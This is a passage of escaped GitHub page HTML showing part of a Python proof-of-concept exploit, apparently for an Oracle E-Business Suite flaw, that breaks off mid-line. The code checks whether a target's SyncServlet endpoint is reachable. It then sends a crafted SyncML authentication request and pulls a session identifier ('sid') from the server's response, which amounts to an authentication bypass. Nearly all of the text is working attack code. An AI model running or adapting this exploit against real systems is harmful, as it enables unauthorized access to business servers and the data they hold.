js-line-number js-blob-rnum\&quot; data-line-number=\&quot;43\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC43\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>check</span>(<span class=pl-s1>url</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L44\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;44\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC44\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L45\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;45\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC45\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[*] Checking if target <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span> is vulnerable...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L46\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;46\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC46\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>get</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/SyncServlet&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L47\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;47\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC47\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;Oracle Common Applications Calendar Synchronization Server is Alive&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L48\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;48\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC48\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[+] Target seems vulnerable!&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L49\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;49\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC49\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-c1>True</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L50\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;50\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC50\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Target seems not vulnerable&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L51\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;51\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC51\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>False</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L52\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;52\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC52\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-s1>requests</span>.<span class=pl-c1>RequestException</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L53\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;53\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC53\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Something went wrong. Check manually.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L54\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;54\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC54\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-c1>False</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L55\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;55\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC55\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L56\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;56\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC56\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>auth_bypass</span>(<span class=pl-s1>url</span>, <span class=pl-s1>username</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L57\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;57\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC57\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L58\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;58\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC58\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>headers</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L59\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;59\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC59\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s>&amp;#39;User-Agent&amp;#39;</span>: <span class=pl-c1>HEADERS</span>[<span class=pl-s>&amp;#39;User-Agent&amp;#39;</span>],</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L60\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;60\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC60\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s>&amp;#39;Content-Type&amp;#39;</span>: <span class=pl-s>&amp;#39;application/vnd.syncml+xml&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L61\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;61\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC61\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        }</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L62\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;62\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC62\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>payload</span> <span class=pl-c1>=</span> <span class=pl-v>Base64</span>.<span class=pl-c1>b64encode</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>username</span><span class=pl-kos>}</span></span>:Qwerty123!&amp;quot;</span>.<span class=pl-c1>encode</span>()).<span class=pl-c1>decode</span>()</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L63\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;63\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC63\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>data</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;#39;&amp;#39;&amp;#39;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L64\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;64\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC64\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;SyncML&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L65\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;65\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC65\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;SyncHdr&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L66\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;66\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC66\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;VerDTD&amp;gt;1.1&amp;lt;/VerDTD&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L67\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;67\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC67\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;VerProto&amp;gt;SyncML/1.1&amp;lt;/VerProto&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L68\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;68\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC68\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;SessionID&amp;gt; 1&amp;lt;/SessionID&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L69\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;69\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC69\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;MsgID&amp;gt;1&amp;lt;/MsgID&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L70\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;70\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC70\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L71\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;71\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC71\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Target&amp;gt;&amp;lt;LocURI&amp;gt;http://localhost&amp;lt;/LocURI&amp;gt;&amp;lt;/Target&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L72\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;72\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC72\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Source&amp;gt;&amp;lt;LocURI&amp;gt;device-123&amp;lt;/LocURI&amp;gt;&amp;lt;/Source&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L73\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;73\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC73\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L74\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;74\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC74\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Cred&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L75\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;75\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC75\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;Meta&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L76\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;76\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC76\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>        &amp;lt;Format&amp;gt;b64&amp;lt;/Format&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L77\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;77\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC77\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>        &amp;lt;Type&amp;gt;syncml:auth-basic&amp;lt;/Type&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L78\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;78\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC78\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;/Meta&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L79\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;79\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC79\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;Data&amp;gt;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>payload</span><span class=pl-kos>}</span></span>&amp;lt;/Data&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L80\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;80\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC80\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;/Cred&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L81\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;81\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC81\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;/SyncHdr&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L82\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;82\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC82\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s></span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L83\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;83\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC83\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;SyncBody&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L84\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;84\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC84\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Alert&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L85\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;85\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC85\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;CmdID&amp;gt;1&amp;lt;/CmdID&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L86\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;86\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC86\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>      &amp;lt;Data&amp;gt;200&amp;lt;/Data&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L87\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;87\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC87\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;/Alert&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L88\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;88\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC88\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>    &amp;lt;Final/&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L89\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;89\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC89\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>  &amp;lt;/SyncBody&amp;gt;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L90\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;90\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC90\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-s>&amp;lt;/SyncML&amp;gt;&amp;#39;&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L91\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;91\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC91\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L92\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;92\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC92\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span>/OA_HTML/SyncServlet&amp;quot;</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-s1>headers</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>data</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L93\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;93\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC93\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>xml_content</span> <span class=pl-c1>=</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L94\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;94\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC94\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L95\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;95\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC95\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L96\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;96\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC96\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>root</span> <span class=pl-c1>=</span> <span class=pl-c1>ET</span>.<span class=pl-c1>fromstring</span>(<span class=pl-s1>xml_content</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L97\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;97\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC97\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>resp_uri</span> <span class=pl-c1>=</span> <span class=pl-s1>root</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;quot;.//RespURI&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L98\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;98\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC98\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L99\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;99\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC99\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s1>resp_uri</span> <span class=pl-c1><span class=pl-c1>is</span> <span class=pl-c1>not</span></span> <span class=pl-c1>None</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L100\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;100\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC100\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>raw_value</span> <span class=pl-c1>=</span> <span class=pl-s1>resp_uri</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L101\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;101\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC101\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>decoded_value</span> <span class=pl-c1>=</span> <span class=pl-en>unquote</span>(<span class=pl-s1>raw_value</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L102\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;102\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC102\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>parsed_url</span> <span class=pl-c1>=</span> <span class=pl-s1>urlparse</span>.<span class=pl-c1>urlparse</span>(<span class=pl-s1>decoded_value</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L103\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;103\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC103\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>query_params</span> <span class=pl-c1>=</span> <span class=pl-en>parse_qs</span>(<span class=pl-s1>parsed_url</span>.<span class=pl-c1>query</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L104\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;104\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC104\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>sid_value</span> <span class=pl-c1>=</span> <span class=pl-s1>query_params</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;sid&amp;#39;</span>, [<span class=pl-c1>None</span>])[<span class=pl-c1>0</span>]</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L105\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;105\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC105\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>return</span> <span class=pl-s1>sid_value</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L106\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;106\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC106\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L107\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;107\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC107\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] RespURI tag not found&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L108\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;108\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC108\&quot; class=\&quot;blob-code blob-code-inner 